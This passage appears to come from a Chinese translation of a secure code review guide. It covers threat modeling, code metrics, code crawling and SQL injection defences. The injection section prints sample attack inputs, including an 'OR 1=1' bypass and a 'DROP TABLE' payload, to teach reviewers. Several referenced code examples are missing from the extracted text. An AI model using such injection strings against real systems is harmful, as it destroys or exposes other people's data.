此之外,还必须了解应用程序中存在的不同权限级别。这将有助于审计者列举适用于应用程 序的不同安全违规/权限提升攻击。 应用类型 这是指了解应用程序是基于浏览器的应用程序、基于桌面的独立应用程序、网络服务、 移动应用程序还是混合应用程序。不同类型的应用程序面临不同类型的安全威胁,了解应用 程序的类型将有助于审计者查找特定的安全缺陷,确定正确的威胁代理,并突出适合应用程 序的必要控制。 43 代码 使用的语言,从安全角度看该语言的特点和问题。从安全性和性能的角度来看,程序员 需要注意的问题和语言最佳实践。 设计 一般来说,如果使用 MVC 设计原则开发,网络应用程序有一个定义良好的代码布局。 应用程序可以有自己的定制设计,也可以使用一些著名的设计框架,如 Struts/Spring 等。 应用程序属性/配置参数存储在哪里?如何为任何功能/URL 识别业务类别?什么类型的类 被执行来处理请求(例如。集中式控制器、命令类、视图页面等)?对于任何请求,视图是如 何呈现给用户的? 公司标准和指南 许多公司会有由管理层规定的标准和指导方针。这就是管理层(最终负责组织的信息安 全)如何控制对各种功能应用何种安全级别,以及如何应用这些安全级别。例如,如果公司 有一个安全编码指南文档,审计者应该知道并理解这些指南,并在代码审计期间应用它们。 2.2.7 代码审计发现和收集信息 审计者为了保证信息有效性需要关于申请的某些信息。通常,这种信息可以通过研究设 计文档、业务需求、功能规范、测试结果等获得。然而,在大多数现实世界的项目中,文档 已经明显过时,并且几乎没有适当的安全信息。如果开发组织有架构和设计文档的程序和模 板,审计者可以建议更新,以确保在这些阶段考虑(和记录)安全性。 44 如果审计者最初对应用程序不熟悉,最有效的入门方法之一是与开发人员和应用程序的 首席架构师交谈。这不一定是一个长时间的会议,它可以是一个白板会议,让开发团队分享 一些关于关键安全事项的基本信息和控制。实际运行的应用程序的使用非常有助于让审阅者 很好地了解应用程序的工作方式。此外,对代码库的结构和使用的任何库的简要概述可以帮 助审阅者入门。 如果关于应用程序的信息不能以任何其他方式获得,那么审计者将不得不花一些时间进 行侦察,并通过审计代码来共享关于应用程序如何工作的信息。需要注意的是,该信息然后 可以被记录以帮助将来的审计。 代码安全审计不仅仅是关于代码结构。数据也重要,我们审计代码的原因是为了确保它 能够充分保护委托给它的信息和资产,如金钱、知识产权、商业秘密或生命。应用程序要处 理的数据的上下文对于确定潜在风险非常重要。如果应用程序是使用内置的/众所周知的设 计框架开发的,那么大多数问题的答案都是预先定义好的。但是,如果是定制的,那么这些 信息肯定会有助于审计过程,主要是捕获数据流和内部验证。了解应用程序的体系结构有助 于理解应用程序可能面临的安全威胁。 设计是应用程序的蓝图,它为其发展奠定了基础。它说明了应用程序的布局,并确定了 应用程序所需的不同应用程序组件。它是决定应用程序执行流程的结构。大多数应用程序设 计都是基于 MVC 的概念。在这种设计中,不同的组件以有序的顺序相互作用,以满足任何 用户的请求。设计审计应该是安全软件开发过程中不可或缺的一部分。设计审计也有助于以 更好的方式实现安全需求。 收集建议设计所需的所有信息,包括流程图、序列图、类图和要求文件,以理解建议设 计的目标。主要针对数据流、不同应用程序组件交互和数据处理对设计进行了深入研究。这 45 是通过手动分析和与设计或技术架构师团队的讨论来实现的。必须彻底了解应用程序的设计 和体系结构,以分析可能导致应用程序安全漏洞的易受攻击区域。 了解设计后,下一阶段是分析设计面临的威胁。这包括从攻击者的角度观察设计,并发 现其中的后门和不安全区域。下表 4 代码安全审计期间示例 设计问题 需要考虑的问题 数据流 •:用户输入用于直接参考业务逻辑吗? •数据绑定是否存在潜在缺陷? •在失败的情况下,执行流程是否正确? 认证和访问控制 •设计是否对所有资源实施访问控制? •会话处理是否正确? •哪些功能无需认证即可访问? 现有安全控制 •第三方安全控制是否存在任何已知的弱点 •安全控制的位置是否正确? 结构 •与外部服务器的连接安全吗? •外部来源的输入是否经过验证? 配置文件和数据 存储 •:配置文件中有敏感数据吗? •谁有权访问配置或数据文件? 46 代码审计清单 定义一个开发团队可以填写的通用清单,可以为审计者提供所需的上下文。是一个 很好的晴雨表,反映了开发人员尝试或想到的安全级别。如果代码安全审计成为一个常 见的需求,那么这个清单可以被合并到一个开发过程中(例如,文档模板),以便代码审阅 者始终可以使用这些信息。参见附录 A 中的示例代码审计清单。 核对表应涵盖最关键的安全控制和漏洞领域,例如: 数据验证 认证 会话管理 授权 密码学 错误处理 日志记录 安全配置 网络架构 强调了一些可以向体系结构和设计提出的问题,以帮助进行安全的代码审计。 每个安全需求都应该与最适合该设计的安全控制相关联。在这里,我们将确定为满足任 何要求或减轻威胁而需要在设计中包含的确切更改或添加。然后,可以与开发团队讨论安全 要求和建议控制的列表。应解决团队的疑问,并且必须确定纳入控制的可行性。必须考虑例 47 外情况(如果有),并提出替代建议。在此阶段,就安全控制达成最终协议。由开发团队合并 的最终设计可以再次审计,并最终确定用于进一步的开发过程。 2.2.8 静态代码分析 静态代码分析在软件开发生命周期的实施阶段进行。静态代码分析通常是指运行静态代 码分析工具试图查找“静态”(非运行)源代码中可能存在的漏洞。 理想情况下,静态代码分析工具会在几乎没有误报的情况下自动发现安全缺陷。这意味 着它应该高度相信它发现的缺陷是真正的缺陷。然而,对于许多类型的应用程序安全缺陷来 说,这种理想已经超出了现有技术水平。因此,这类工具经常作为分析师的辅助工具,帮助 他们专注于代码的安全相关部分,以便他们能够更有效地发现缺陷,而不是自动发现所有缺 陷的工具。 由于不安全的代码、设计或配置,应用程序中可能存在 bug。可以对应用程序代码进 行自动分析,通过以下两个选项之一来识别错误: 1.基于模式搜索的静态代码扫描脚本(内部和开源)。 2.静态代码分析器(商业和开源)。 源代码扫描器的优缺点见表 5 和表 6。 48 尽管代码扫描脚本和开源工具可以有效地发现不安全的代码模式,但它们通常缺乏跟踪 数据流的能力。静态代码分析器填补了这一空白,它通过部分(或全部)编译代码和调查执行 分支来识别不安全的代码模式,允许从源到宿的分析。静态代码分析器和扫描器是补充代码 审计过程的综合选项。 选择静态分析工具 选择静态分析工具是一项困难的任务,因为有很多选择。下面的对比图表可以帮助组织 决定哪种工具适合他们,尽管这个列表并不详尽。 选择工具的一些标准包括: ⚫ 工具是否支持所使用的编程语言? 49 ⚫ 商业工具和免费工具之间有偏好吗?通常,商业工具比免费工具有更多的特性,也更可 靠,尽管它们的可用性可能有所不同。 ⚫ 正在进行何种类型的分析?是安全、质量、静态还是动态分析? 下一步需要做一些主观的工作。最好的办法是测试一些工具,看看团队是否对不同方面 感到满意,比如用户体验、漏洞报告、误报水平以及定制和客户支持。选择不应基于功能的 数量,而应基于所需的功能以及它们如何集成到 S-SDLC 中。此外,在选择工具之前,应明 确评估目标用户的专业知识,以便选择合适的工具。 2.2.9 应用威胁建模 威胁建模是一种深入分析应用程序安全性的方法。这是一种结构化的方法,使员工能够 识别、量化和解决与应用程序相关的安全风险。威胁建模不是一种审计代码的方法,但它通 过提供应用程序的上下文和风险分析来补充安全的代码审计过程。 在 S-SDLC 中包含威胁建模有助于确保应用程序从一开始就以内置的安全性进行开发。 这与作为威胁建模过程的一部分而产生的文档相结合,可以使审计者更好地理解系统,允许 审计者看到应用程序的入口点在哪里(即,攻击面)和每个入口点的相关威胁(即,攻击向量)。 威胁建模的概念并不新鲜,但近年来,人们的思维方式发生了明显的变化。现代威胁建 模从潜在攻击者的角度看待系统,而不是从防御者的角度。过去几年来,许多公司都大力提 倡这一流程,包括微软,他们将威胁建模作为 S-SDLC 的核心组件,他们声称这是近年来产 品安全性提高的原因之一。 当源代码分析在软件开发生命周期之外执行时,例如在现有的应用程序上,威胁建模的 结果有助于通过促进基于风险的方法来降低源代码分析的复杂性。审计者可以优先审计威胁 50 建模被列为高风险威胁的组件的安全代码,而不是同等关注地审计所有源代码。 威胁建模过程可以分解为 3 个高级步骤: 步骤 1:分解应用程序。 威胁建模过程的第一步是了解应用程序及其与外部实体的交互方式。这包括创建用例来 理解应用程序是如何使用的,识别入口点来查看潜在的攻击者可以在哪里与应用程序交互, 识别资产,即,攻击者可能感兴趣的项目/领域,并确定代表应用程序将授予外部实体的访 问权限的信任级别。这些信息记录在威胁模型文档中,也用于为应用程序生成数据流图。 DFD 显示了通过系统的不同数据路径,突出了特权(信任)边界。 分解应用程序时要考虑的项目包括外部依赖关系,外部依赖是应用程序代码外部的项目, 可能对应用程序构成威胁。这些项目通常仍在组织的控制范围内,但可能不在开发团队的控 制范围内。在研究外部依赖关系时,首先要考虑的是如何在生产环境中部署应用程序。 这包括查看应用程序是如何运行的。例如,如果应用程序预期运行在已经按照组织的强 化标准进行了强化的服务器上,并且预期位于防火墙之后,则应该记录这些信息。 入口点 入口点(又称攻击向量)定义了潜在攻击者可以通过其与应用程序交互或向其提供数据 的接口。潜在的攻击者如果要攻击应用程序,入口点必须存在。应用程序中的入口点可以分 层,例如,网络应用程序中的每个网页可能包含多个入口点。 资产 51 系统一定有攻击者感兴趣的东西,这些感兴趣的项目/领域被定义为资产。资产本质上 是威胁目标,即,它们是威胁存在的原因。资产既可以是实物资产,也可以是抽象资产。例 如,应用程序的实物资产可能是客户及其个人信息的列表。抽象资产可能是一个组织的声誉。 确定攻击面 通过分析输入、数据流和事务来确定攻击面。实际执行代码安全审计的主要部分是对攻 击面进行分析。应用程序接受输入并产生某种输出。第一步是识别代码的所有输入。 应用程序的输入可能包括以下要点: ⚫ 浏览器输入 ⚫ Cookie ⚫ 财产档案 ⚫ 外部流程 ⚫ 数据馈送 ⚫ 服务响应 ⚫ 平面文件 ⚫ 命令行参数 ⚫ 环境变量 图 4 描述了识别应用程序输入路径的示例过程: 52 信任级别 信任级别表示应用程序将授予外部实体的访问权限。信任级别与进入点和资产相互参照。 这允许团队定义每个入口点所需的访问权限或特权,以及与每个资产交互所需的权限或特权。 数据流分析 探索攻击面包括动态和静态数据流分析。变量在何时何地设置,变量在整个工作流程中 如何使用,对象和参数的属性如何影响程序中的其他数据。它确定参数、方法调用和数据交 换机制是否实现了所需的安全性。 53 交易分析 需要事务分析来识别和分析应用程序中的所有事务,以及调用的相关安全功能。 交易分析涵盖的领域包括: ⚫ 来自所有不可信来源的数据的数据/输入验证 ⚫ 认证 ⚫ 会话管理 ⚫ 授权 ⚫ 密码学(静态和传输中的数据) ⚫ 错误处理/信息泄露 ⚫ 日志/审计 数据流图 收集的所有信息允许通过使用数据流图对应用程序进行精确建模。DFDs 将通过提供应 用程序如何处理数据的可视化表示,让员工更好地理解应用程序。DFDs 的重点是数据如何 在应用程序中移动,以及数据移动时会发生什么。DFD 在结构上是分层的,因此它们可以 用来将应用程序分解成子系统。高水平的 DFD 将允许员工阐明正在建模的应用范围。当处 理特定数据时,较低层次的迭代将允许更多的关注于所涉及的特定过程。 如下表 7 所示,在威胁建模的设计文件中使用了许多符号: 54 DFD 显示数据如何在系统中逻辑移动,并允许识别数据进入或离开系统,以及数据存 储和通过这些组件的控制流。信任边界显示信任级别变化的任何位置。流程组件显示数据在 哪里被处理,如 web 服务器、应用程序服务器和数据库服务器。入口点显示数据进入系统 的位置(即,输入字段、方法)和退出点是它离开系统的地方(即,动态输出、方法)。入口点 和出口点定义了信任边界。 55 步骤 2:确定威胁并对其进行排名 识别威胁的关键是使用威胁分类方法。可以使用威胁分类(如 STRIDE)或应用安全框架 (ASF),它定义了威胁类别,如授权和日志记录、身份验证、授权、配置管理、存储和传输 中的数据保护、数据验证和异常管理。 威胁分类的目标是帮助从攻击者(STRIDE)和防御角度(ASF)识别威胁。步骤 1 中生成的 DFD 有助于从攻击者的角度识别潜在的威胁目标,例如数据源、流程、数据流和与用户的 交互。这些威胁可以进一步确定为威胁树的根源,每个威胁目标都有一棵树。 从防御的角度来看,ASF 分类有助于将威胁识别为针对此类威胁的安全控制的弱点。 常见威胁列表和示例有助于识别此类威胁。使用和滥用案例可以说明如何绕过现有的保护措 施,或者哪里缺乏这种保护。 每个威胁的安全风险的确定可以使用基于价值的风险模型来确定,例如基于一般风险因 素(例如,可能性和影响)。 确定威胁的第一步是采用威胁分类。威胁分类支持提供一组带有相应示例的威胁类别, 以便在应用程序中以结构化和可重复的方式系统地识别威胁。 STRIDE 基于 STRIDE 模型的威胁列表有助于识别与攻击者目标相关的威胁。例如,如果威胁场 景是攻击登录,攻击者会强行破解密码来破坏身份验证吗?如果威胁场景是试图提升权限以 获得另一个用户的权限,攻击者会尝试执行强制浏览吗? 威胁分类(如 STRIDE)通过对攻击者目标进行分类(如表 8 所示),有助于识别威胁。 56 从攻击者的角度评估所有可能的攻击媒介是至关重要的。例如,登录页面允许发送身份 验证凭据,入口点接受的输入数据必须验证潜在的恶意输入,例如 SQL 注入、跨站点脚本 和缓冲区溢出等漏洞。此外,通过该点的数据流必须用于确定对该流中下一个组件入口点的 威胁。如果下列组件被认为是关键的(例如,持有敏感数据),入口点也可以被认为是更关键。 在端到端数据流中,输入数据(即,用户名和密码),未经验证就传递,可能会被 SQL 注入 攻击利用来操纵查询以破坏身份验证或修改数据库中的表。 出口点可以作为客户端的攻击点(例如。XSS 漏洞)以及信息披露漏洞的实现。对于处理 机密数据的组件的出口点(例如,数据访问组件),任何缺乏安全控制以保护机密性和完整性 的出口点都可能导致向未经授权的用户披露此类机密信息。 在许多情况下,出口点启用的威胁与相应入口点的威胁相关。在登录示例中,通过出口 点返回给用户的错误消息可能会导致入口点攻击,如帐户枚举(例如,找不到用户名)或 SQL 注入(例如,SQL 异常错误)。从防御的角度来看,由安全控制分类(如 ASF)驱动的威胁识别 允许威胁分析师关注与弱点相关的特定问题(例如,漏洞)。典型地,威胁识别过程包括经历 57 迭代循环,其中最初评估威胁列表中适用于每个组件的所有可能的威胁。在下一次迭代中, 通过探索攻击路径,要利用的威胁的根本原因(例如,漏洞)以及必要的缓解控制措施(例 如,未采取措施)来进一步分析威胁。 一旦评估了常见的威胁、漏洞和攻击,就应该考虑使用和滥用情况,进行更集中的威胁 分析。通过彻底分析使用场景,可以识别可能导致威胁实现的弱点。滥用案例应被确定为安 全需求工程活动的一部分。这些滥用案件可以说明如何绕过现有的保护措施,或者哪里缺乏 这种保护。最后,通过确定对分解系统的每个组成部分的威胁类型,可以将所有这些结合起 来。这可以通过重复已经在较低级别威胁模型上讨论过的技术来完成,再次使用威胁分类(如 STRIDE 或 ASF),使用威胁树来确定威胁如何通过漏洞暴露,以及使用和误用案例来进一 步验证缺乏减轻威胁的对策。 微软 DREAD 威胁-风险排名模型 在微软 DREAD 威胁风险排名模型中,影响的技术风险因素是损害和受影响用户,而易 利用因素是可再现性、可利用性和可发现性。这种风险因子为威胁的不同影响因素赋值。 为了确定威胁的等级,威胁分析师必须回答每个风险因素的基本问题,例如: 58 影响主要取决于潜在的损害和影响的程度,例如受威胁影响的组件数量。 这些问题通过将定性值(如高、中和低)分配可能性和影响因素,有助于计算总体风险值。 在这种情况下,使用定性的值,而不是像 BARRE 模型那样的数字值,有助于避免排名变得 过于主观。 可能性 更一般的风险模型考虑了可能性(例如。攻击的概率)和影响(例如。潜在损坏): 风险=可能性 x 影响 请注意,这是一个概念公式,不应将实际值用于可能性和影响。 可能性或概率由利用的 难易程度(主要取决于威胁的类型和系统特征)以及实现威胁的可能性(取决于是否存在适 当的对策)来定义。 步骤 3:确定对策和缓解措施。 缺乏针对威胁的保护可能表示存在漏洞,通过实施对策可以减轻该漏洞的风险。可以使 用威胁-反措施映射列表来识别此类对策。一旦为威胁分配了风险等级,就可以将威胁从最 59 高风险到最低风险进行排序,并确定缓解工作的优先级,例如通过应用已识别的对策来响应 此类威胁。 风险缓解策略可能涉及从这些威胁带来的业务影响来评估它们,并建立对策(或设计变 更)来降低风险。 其他选择可能包括接受风险、假设由于补偿控制而使业务影响可以接受、通知用户威胁、 完全消除威胁带来的风险,或者最不可取的选择,即什么也不做。如果确定的风险是极端的, 则功能或产品可能会停产,因为发生问题的风险大于收益。 对策识别的目的是确定是否有某种保护措施(例如,安全控制、策略措施),可以防止之前 通过威胁分析识别的每个威胁被发现。漏洞就是那些没有对策的威胁。 由于这些威胁中的每一个都已经用 STRIDE 或 ASF 进行了分类,因此可以在给定类别 的应用程序中找到适当的对策。上述每个步骤在执行时都有记录。生成的文档集是应用程序 的威胁模型。附录 B 给出了如何进行威胁建模的详细示例。 威胁概况 一旦识别出威胁和相应的对策,就可以根据以下标准得出威胁概况: 60 2.2.10 指标和代码审计 度量标准衡量一段代码的大小和复杂性。审计代码时可以考虑一长串质量和安全特征 (例如,但不限于,正确性、效率、可移植性、可维护性、可靠性和安全性)。没有两个代码 的审计会议是相同的,所以需要一些判断来决定最佳路径。度量可以帮助决定代码审计的规 模。 度量还可以记录与代码审计者的性能和审计过程的准确性、代码审计功能的性能以及代 码审计功能的效率和有效性。 图 5 描述了整个代码审计过程中度量的使用。计算审阅任务大小的一些选项包括: 代码行 可执行代码行的计数(不计算注释掉的代码或空行)。这给出了一个粗略的估计,但不是 特别科学。 功能点 通过测量功能来估计软件的规模。执行特定任务的若干语句的组合,独立于所用的编程 语言或开发方法。在面向对象的语言中,类可以是一个功能点。 缺陷密度 每代码行编程错误的平均发生率。这给出了代码质量的高级视图,但仅此而已。故障密 度本身不会产生实用的度量标准。缺陷密度将涵盖代码中的次要问题和主要安全缺陷,所有 61 人都受到同样的评估。仅使用缺陷密度无法准确判断代码的安全性。 风险密度 与缺陷密度相似,但发现的问题按风险(高、中、低)进行评级。通过这样做,我们可以 通过内部应用程序开发政策和标准定义的[X 风险/ LoC]或[Y 风险/功能点]值(X 和 Y 是高、 中或低风险)来洞察正在开发的代码的质量。 例如: 每 1000 个高风险缺陷(代码行) 每 3 个功能点有 2 个中等风险缺陷 62 圈复杂度(CC): 一种静态分析度量,用于帮助建立对代码项的风险和稳定性评估,例如一个类、方法甚 至一个完整的系统。它是由托马斯·麦凯布在 70 年代定义的,易于计算和应用,因此非常有 用。 63 McCabe 圈复杂度度量标准旨在表示程序的可测试性、可理解性和可维护性。这是通 过测量控制流结构来实现的,以便预测理解、测试、维护等方面的困难。一旦理解了控制流 结构,就可以了解程序可能包含缺陷的程度。圈复杂度度量旨在独立于语言和语言格式,用 于测量通过程序模块的线性独立路径的数量。这也是应该测试的最小路径数。 通过了解产品的圈复杂度,人们可以关注具有最高复杂度的模块。这很可能是数据将采 取的路径之一,从而能够将一个路径引导到潜在的漏洞高风险位置。复杂性越高,出现更多 bug 的可能性就越大。bug 越多,出现更多安全漏洞的概率就越高。 圈复杂度是否揭示了安全风险?在对模块的安全状况进行审计之前,人们不会知道。圈 复杂度度量提供了一种基于风险的方法:从哪里开始审计和分析代码。保护应用程序是一项 复杂的任务,在许多方面,复杂性是安全性的敌人,因为软件复杂性会使软件错误难以检测。 随着产品的更新或维护,软件的复杂性会随着时间的推移而增加。 圈复杂度可以计算为: CC =决策数+1 …其中决策将被认为是命令,即执行通过 if/else、switch、case、catch、while、do、 模板类调用等的分支。 随着决策数量的增加,复杂性和路径数量也会增加。复杂的代码导致稳定性和可维护性 降低。 代码越复杂,缺陷的风险就越高。公司可以为模块建立圈复杂度阈值: ⚫ 0-10:稳定的代码,可接受的复杂性 64 ⚫ 11-15:中等风险,更复杂 ⚫ 16-20:高风险代码,一个代码单元的决策太多。 圈复杂度非常高的模块极其复杂,可以重构为更小的方法。 错误修复概率: 这是在试图修复以前的错误时意外插入程序的错误概率,一些公司也称之为回归。 ⚫ 圈复杂度:1–10 = =错误修复概率:5% ⚫ 圈复杂度:20–30 = =错误修复概率:20% ⚫ 圈复杂度:> 50 ==错误修复概率:40% ⚫ 圈复杂度:接近 100 ==错误修复概率:60% 随着软件复杂性的增加,引入新错误的可能性也在增加。 检验率: 这个度量可以用来大致了解执行代码审计所需的持续时间。审计率是代码审计者每单位 时间可以覆盖的覆盖率。例如,每小时 250 行的速率可以作为基线。这个比率不应该作为 评估质量的一部分,而只是用来确定任务的持续时间。 缺陷检测率: 65 该度量标准衡量单位时间内发现的缺陷。同样,可以用来衡量代码审计团队的性能,但 不能用作质量度量。缺陷检测率通常会随着审计率(以上)的降低而增加。 复验缺陷率: 在重新审计代码时,更多的缺陷存在,一些缺陷仍然存在,或者其他缺陷通过试图解决 以前发现的缺陷(回归)而显现的速度。 2.2.11 爬行代码 爬行代码是扫描审计目标和接口入口点的代码库的实践,寻找可能存在安全漏洞的关键 代码指针。某些应用编程接口与面向外部世界或文件输入输出或用户管理相关,这是攻击者 关注的关键领域。在爬行代码中,我们寻找与这些领域相关的应用编程接口。我们还需要寻 找可能导致安全问题的业务逻辑领域,但通常这些是定制的方法,它们有定制的名称,不能 被直接检测到。尽管我们可能会触及某些方法,因为它们与某个关键的应用编程接口有关系。 我们还需要寻找与特定语言相关的共同问题,可能与安全无关,但在特殊情况下可能影 响应用程序稳定性/可用性的问题。执行代码审计时的其他问题是为了保护个人知识产权而 发布简单的版权声明。一般来说,这些问题应该是公司编码指南(或标准)的一部分,并且应 该在代码审计期间强制执行。例如,审计者可以拒绝代码审计,因为代码违反了编码指南中 的某些内容,而不管代码是否在其当前状态下工作。 抓取代码可以手动完成,也可以使用自动化工具以自动化方式完成。然而,手动工作可 能并不有效,因为(如下所示)有很多指标可以应用于一种语言。可以使用 grep 或 wingrep 66 这样简单的工具。其他工具可以搜索与特定编程语言相关的关键字。如果一个团队正在使用 一个特定的审计工具,该工具允许它指定要在审计中突出显示的字符串(例如。基于 Python 的审计工具使用 pygments 语法高度轻量级,或者团队可以更改源代码的内部工具),然后 他们可以从下面的列表中添加相关的字符串指示器,并自动向审计者突出显示它们。 代码审计的基础是定位和分析代码区域,这些代码区域可能有应用程序安全隐患。假设 代码审计者对代码、它的意图以及它的使用环境有一个彻底的理解,那么首先我们需要在代 码库中寻找感兴趣的区域。 附录 C 给出了如何在以下编程语言中执行代码爬行的实例: ⚫ .NET ⚫ Java ⚫ ASP ⚫ C++/Apache 3 安全代码审计技术参考 3.1 A1 注入漏洞 3.1.1 概述什么是注入 注入攻击允许恶意用户向应用程序添加或注入内容和命令,以修改其行为。这些类型的 攻击是常见且广泛的,黑客很容易测试网站是否易受攻击,攻击者也很容易利用这些攻击。 如今,它们在尚未更新的遗留应用程序中非常常见。 67 3.1.2 SQL 注入 最常见的注射漏洞是 SQL 注入,也很容易修复和防范。注入漏洞涵盖了 SQL、LDAP、 Xpath、OS 命令、XML 解析器。 注入漏洞会导致: ⚫ 敏感信息的泄露。 ⚫ 数据完整性问题。SQL 注入可以修改数据、添加新数据或删除数据。 ⚫ 特权的提升。 ⚫ 进入后端网络。 SQL 命令不受不可信输入的保护。SQL 解析器无法区分代码和数据。 在开发人员不考虑安全性的遗留应用程序中,使用字符串连接来生成 SQL 语句是非常 常见的。问题是这种编码技术不能告诉解析器语句的哪一部分是代码,哪一部分是数据。在 用户输入被连接到 SQL 语句的情况下,攻击者可以通过向输入数据添加 SQL 代码来修改 SQL 语句。 应用程序可以接受不可信的输入。有几种方法可以减轻注入漏洞、白名单、正则表达式 等。下面是五个比较好的方法,这五种方法应该一起用于纵深防御。 68 1. HtmlEncode 所有用户输入。 2. 使用静态分析工具。静态的语言分析对.Net,Java,python 都比较准确。然而,当注 入来自 JavaScript 和 CSS 时,静态分析可能会成为一个问题。 3. 参数化 SQL 查询。使用编程语言或框架提供的参数化语句的 SQL 方法,以便 SQL 解 析器能够区分代码和数据。 4. 使用存储过程。存储过程通常有助于 SQL 解析器区分代码和数据。然而,存储过程可 以用来构建动态的 SQL 语句,允许代码和数据混合在一起,导致它容易被注入。 5. 为开发人员提供安全编码最佳实践的培训。 SQL 盲注 通常,SQL 查询会返回呈现给用户的搜索结果。然而,在某些情况下,SQL 查询是在 幕后进行的,这影响了页面的呈现方式。不过,攻击者仍然可以从各种用户界面元素的错误 响应中收集信息。SQL 盲注攻击是一种向数据库询问真假问题并根据应用程序的响应来确 定答案的攻击。 实际上,攻击者使用 SQL 查询来确定为有效的 SQL 返回哪些错误响应,以及为无效的 SQL 返 回 哪 些 响 应 。 然 后 攻 击 者 就 可 以 探 查 真 实 的 数 据 。 例 如 , 审 计 名 为 “user_password_table”的表是否存在。一旦他们获得了这些信息,他们就可以使用类似 上述的攻击来恶意删除表,或者试图从表中返回信息(用户名“john”是否存在?盲目的 SQL 注入也可以使用计时来代替错误消息。例如,如果无效的 SQL 需要 2 秒钟来响应,但是有 69 效的 SQL 在 0.5 秒内返回,那么攻击者可以使用这些信息推断正确的拼接方式。 参数化的 SQL 查询 参数化的 SQL 查询(有时称为预编译的语句)允许定义 SQL 查询字符串。以这样一种方 式,客户端输入不会被视为 SQL 语法的一部分。以示例 7.1 中的例子为例: 在本例中,字符串“查询”是以不依赖任何客户端输入的方式构造的,而“准备状态” 是由该字符串构造的。当客户端输入要输入到 SQl 中时,使用“setString”函数,第一个 问号“?”替换为字符串值“名字”,第二个问号替换为“姓氏”。当调用“setString”函 数时,该函数会自动审计字符串值中是否包含任何 SQL 语法。大多数准备好的语句接口允 许您指定应该输入的类型,例如。' setInt ',或' setBinary '等。 安全字符串连接? 那么这是否意味着在您的数据库处理代码中根本不能使用字符串连接呢?安全地使用 字符串连接是可能的,但是它确实增加了出错的风险,即使攻击者没有试图将 SQL 语法注 入您的应用程序。 您不应该将字符串串联与客户端输入值结合使用。举个例子,用一个客户端输入变量“姓 氏”的存在(不是值)来构造准备好的语句的 SQL 查询: 70 这里没有使用' lastname '的值,不过仍然增加条件判断是否存在。然而,当 SQL 语句 更大并且创建它涉及更复杂的业务逻辑时,仍然存在风险。以下面的例子为例,该函数将根 据名字或姓氏进行搜索: 当给定名字或姓氏时,这种逻辑将是正确的,但是如果两者都没有给定,那么 SQL 状 态将没有任何 WHERE 子句,并且将返回整个表。这不是 SQL 注入(攻击者除了没有传递两 个值之外,没有做任何事情来导致这种情况),但是最终结果是相同的,尽管使用了参数化 查询,信息还是从数据库中泄露了。 因此,建议避免使用字符串连接来创建 SQL 查询字符串,即使是在使用参数化查询时。 尤其是注意当连接涉及在 where 子句中构建任何项时。 71 使用灵活的参数化语句 功能需求通常需要基于用户输入灵活地执行 SQL 查询。例如,如果最终用户为他们的 交易搜索指定了一个时间跨度,那么应该使用这个时间跨度,或者他们可能希望基于姓氏或 名字,或者基于两者进行查询。在这种情况下,可以使用上面的安全字符串连接,但是从维 护的角度来看,这可能会让未来的程序员误解安全连接和不安全版本(直接使用输入字符串 值)之间的区别。 灵活的参数化语句的一个选项是使用“if”语句根据提供的输入值选择正确的查询,例 如: 72 PHP SQL 注入 SQL注入攻击包括通过web应用程序中的客户端接口向后端数据库系统注入SQL查询 部分。成功利用 SQL 注入的后果各不相同,从仅仅读取数据到修改数据或执行系统命令。 PHP 中的 SQL 注入仍然是头号攻击方法,也是数据泄露的头号原因,如示例 7.5 所示。 在 PHP 中防止 SQL Injection 最常见的方法是使用诸如 addslashes()和 mysql_ real_escape_string()之类的函数,但是在某些情况下,这些函数也是会导致 SQL Injection。 73 添加斜线 只有在用引号将查询字符串括起来的情况下,才可以避免使用 addslashes()进行 Sql 注入。下面的例子仍然是脆弱的。 mysql_real_escape_string() mysql_real_escape_string()比 addslashes()稍微强大一点,因为它调用 mysql 的库 函数 mysql_real_escape_string,该库函数在下列字符前添加反斜杠:\x00,\n,\r,',' 和\x1a。 与 addslashes()一样,mysql_real_escape_string()只有在查询字符串用引号括起来时 才有效。像下面这样的字符串仍然容易受到 SQL 注入攻击:(作者遗漏了) 当 web 应用程序的输入在执行到后端数据库之前没有得到控制或清理时,就会发生 SQL 注入。 攻击者试图通过在其输入中传递 SQL 命令来利用此漏洞,因此会从数据库中创建不希 望的响应,例如提供绕过网络应用程序中编程的授权和身份验证的信息。示例 7.7 中显示了 一个易受攻击的 java 代码示例。 74 易受攻击的 java 代码示例 输入参数“name”被传递给字符串查询,而没有任何适当的验证或确认。“SELECT* FROM users where name”等于字符串“name”的查询很容易被误用,以绕过不同于 “name”的内容。例如,攻击者可以尝试通过这种方式处理所有用户记录,而不仅仅是授 权给特定用户的记录: “ OR 1=1. .NET Sql 注入 框架 1.0 和 2.0 可能比. NET 的更高版本更容易受到 SQL 注入的攻击。由于设计模式的 正确实现和使用已经嵌入在 ASP.NET,如 MVC(也取决于版本),可以创建没有 SQL 注入的 应用程序。但是,有时开发人员可能更喜欢直接在代码中使用 SQL 代码。 例子: 开发人员创建了一个包含 3 个字段和提交按钮的网页,在“姓名”、“姓氏”和“身 份证”字段中搜索员工,开发人员在代码中实现一个字符串连接的 SQL 语句或存储过程, 如示例 7.8。 这段代码相当于下例中执行的 SQL 语句。 75 黑客然后可以通过网络界面“123’;DROP TABLE pubs --”插入以下标识: SELECT name, lastname FROM authors WHERE ei_id = ‘123’; DROP TABLE pubs --’ 分号“;”为 sql 提供一个信号,表明它已经到达 SQL 语句的末尾,但是,黑客用这 种恶意的 SQL 代码继续语句:DROP TABLE pubs. 代码审计者操作 代码审计者需要确保 HQL 查询中使用的任何数据都使用 HQL 参数化查询,以便将其 用作数据而不是代码。他们还可以使用 https://docs.jboss.org/hibernate/的标准应用编 程接口。 参数集合 参数集合(如 SqlParameterCollection)提供类型审计和长度验证。如果使用参数集合, 输入将被视为文字值,而 SQL Server 不会将其视为可执行代码,因此无法注入有效负载。 使用参数集合可以强制执行类型和长度审计。超出该范围的值会触发例外。请确保您正 确处理了异常。SQL 参数集合示例:Hibernate 查询语言(HQL) 1 using (SqlConnection conn = new SqlConnection(connectionString)) { 2 DataSet dataObj = new DataSet(); 3 SqlDataAdapter sqlAdapter = new SqlDataAdapter( “StoredProc”, conn); sqlAdapter.SelectCommand. CommandType = 4 CommandType.StoredProcedure; 5 sqlAdapter.SelectCommand.Parameters.Add(“@usrId”, SqlDbType.VarChar, 15); 6 sqlAdapter.SelectCommand.Parameters[“@usrId “].Value = UID.Text; 76 Hibernate 通过对象/关系映射(ORM)方便了 Java 域对象的存储和检索。 一个非常普遍的误解是 ORM 解决方案,像 hibernate 一样,是 SQL 注入证明。 Hibernate 允许使用“原生 SQL”,并定义了一种专有的查询语言,叫做 HQL(Hibernate Query 